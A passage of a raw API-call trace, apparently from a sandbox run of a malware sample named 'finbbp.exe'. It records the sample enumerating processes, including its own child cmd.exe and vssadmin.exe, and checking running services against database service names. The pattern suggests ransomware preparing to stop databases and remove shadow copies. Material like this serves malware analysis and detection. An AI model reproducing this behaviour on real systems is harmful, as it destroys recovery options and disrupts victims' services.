cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.963] lstrlenW (lpString="svchost.exe") returned 11 [0252.963] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.964] lstrlenW (lpString="svchost.exe") returned 11 [0252.964] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.964] lstrlenW (lpString="svchost.exe") returned 11 [0252.964] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.965] lstrlenW (lpString="svchost.exe") returned 11 [0252.965] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.965] lstrlenW (lpString="svchost.exe") returned 11 [0252.965] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x574, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.965] lstrlenW (lpString="svchost.exe") returned 11 [0252.965] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0252.966] lstrlenW (lpString="spoolsv.exe") returned 11 [0252.966] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.966] lstrlenW (lpString="svchost.exe") returned 11 [0252.966] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0252.967] lstrlenW (lpString="audiodg.exe") returned 11 [0252.967] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0252.967] lstrlenW (lpString="sihost.exe") returned 10 [0252.967] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0252.968] lstrlenW (lpString="svchost.exe") returned 11 [0252.968] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0252.968] lstrlenW (lpString="taskhostw.exe") returned 13 [0252.969] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0252.969] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0252.969] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x244, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0252.969] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0252.970] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0252.970] lstrlenW (lpString="Memory Compression") returned 18 [0252.970] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x978, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x958, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0252.971] lstrlenW (lpString="explorer.exe") returned 12 [0252.971] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0252.971] lstrlenW (lpString="SearchUI.exe") returned 12 [0252.971] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0252.972] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0252.972] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0252.973] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0252.973] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0252.973] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0252.973] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x978, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0252.973] lstrlenW (lpString="finbbp.exe") returned 10 [0252.973] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xda4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0252.974] lstrlenW (lpString="cmd.exe") returned 7 [0252.974] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0252.974] lstrlenW (lpString="conhost.exe") returned 11 [0252.974] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0252.975] lstrlenW (lpString="vssadmin.exe") returned 12 [0252.975] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0252.975] lstrlenW (lpString="consent.exe") returned 11 [0252.975] Process32NextW (in: hSnapshot=0x528, lppe=0x248fd2c | out: lppe=0x248fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0252.976] CloseHandle (hObject=0x528) returned 1 [0252.976] Sleep (dwMilliseconds=0x1f4) [0253.578] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x41aaa60 [0253.580] EnumServicesStatusExW (in: hSCManager=0x41aaa60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 0 [0253.582] GetLastError () returned 0xea [0253.582] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x1c4a) returned 0x4205e48 [0253.582] EnumServicesStatusExW (in: hSCManager=0x41aaa60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4205e48, cbBufSize=0x1c4a, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4205e48, pcbBytesNeeded=0x248ff3c, lpServicesReturned=0x248ff54, lpResumeHandle=0x0) returned 1 [0253.583] CloseServiceHandle (hSCObject=0x41aaa60) returned 1 [0253.584] lstrlenW (lpString="Appinfo") returned 7 [0253.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0253.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0253.584] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0253.584] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0253.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0253.584] lstrlenW (lpString="AppXSvc") returned 7 [0253.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0253.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0253.584] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0253.584] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0253.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0253.584] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0253.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0253.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0253.584] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0253.584] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0253.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0253.584] lstrlenW (lpString="Audiosrv") returned 8 [0253.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0253.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0253.584] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0253.584] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0253.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0253.585] lstrlenW (lpString="BFE") returned 3 [0253.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0253.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0253.585] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0253.585] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0253.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0253.585] lstrlenW (lpString="BITS") returned 4 [0253.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0253.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0253.585] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0253.585] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0253.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0253.585] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0253.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0253.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0253.585] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0253.585] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0253.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0253.585] lstrlenW (lpString="CDPSvc") returned 6 [0253.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0253.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0253.585] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0253.585] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0253.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0253.585] lstrlenW (lpString="ClickToRunSvc") returned 13 [0253.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0253.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0253.585] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0253.585] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0253.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0253.586] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0253.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0253.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0253.586] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0253.586] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0253.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0253.586] lstrlenW (lpString="CryptSvc") returned 8 [0253.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0253.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0253.586] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0253.586] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0253.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0253.586] lstrlenW (lpString="DcomLaunch") returned 10 [0253.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0253.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0253.586] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0253.586] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0253.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0253.586] lstrlenW (lpString="DeviceAssociationService") returned 24 [0253.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0253.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0253.586] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0253.586] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0253.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0253.586] lstrlenW (lpString="Dhcp") returned 4 [0253.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0253.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0253.587] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0253.587] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0253.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0253.587] lstrlenW (lpString="Dnscache") returned 8 [0253.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0253.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0253.587] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0253.587] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0253.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0253.587] lstrlenW (lpString="DPS") returned 3 [0253.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0253.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0253.587] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0253.587] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0253.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0253.587] lstrlenW (lpString="DusmSvc") returned 7 [0253.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0253.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0253.587] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0253.587] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0253.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0253.587] lstrlenW (lpString="EventLog") returned 8 [0253.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0253.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0253.587] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0253.587] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0253.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0253.588] lstrlenW (lpString="EventSystem") returned 11 [0253.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0253.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0253.588] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0253.588] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0253.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0253.588] lstrlenW (lpString="FontCache") returned 9 [0253.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0253.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0253.588] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0253.588] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0253.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0253.588] lstrlenW (lpString="gpsvc") returned 5 [0253.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0253.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0253.588] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0253.588] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0253.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0253.588] lstrlenW (lpString="iphlpsvc") returned 8 [0253.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0253.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0253.588] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0253.588] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0253.588] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0253.588] lstrlenW (lpString="KeyIso") returned 6 [0253.588] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0253.588] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0253.588] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0253.588] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0253.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0253.589] lstrlenW (lpString="LanmanServer") returned 12 [0253.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0253.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0253.589] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0253.589] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0253.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0253.589] lstrlenW (lpString="LanmanWorkstation") returned 17 [0253.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0253.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0253.589] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0253.589] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0253.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0253.589] lstrlenW (lpString="lfsvc") returned 5 [0253.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0253.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0253.589] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0253.589] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0253.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0253.589] lstrlenW (lpString="lmhosts") returned 7 [0253.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0253.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0253.589] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0253.589] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0253.589] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0253.589] lstrlenW (lpString="LSM") returned 3 [0253.589] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0253.589] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0253.589] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0253.589] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0253.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0253.590] lstrlenW (lpString="MpsSvc") returned 6 [0253.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0253.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0253.590] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0253.590] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0253.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0253.590] lstrlenW (lpString="NcbService") returned 10 [0253.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0253.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0253.590] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0253.590] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0253.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0253.590] lstrlenW (lpString="netprofm") returned 8 [0253.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0253.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0253.590] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0253.590] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0253.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0253.590] lstrlenW (lpString="NgcSvc") returned 6 [0253.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0253.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0253.590] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0253.590] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0253.590] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0253.590] lstrlenW (lpString="NlaSvc") returned 6 [0253.590] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0253.590] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0253.590] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0253.591] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0253.591] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0253.591] lstrlenW (lpString="nsi") returned 3 [0253.591] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 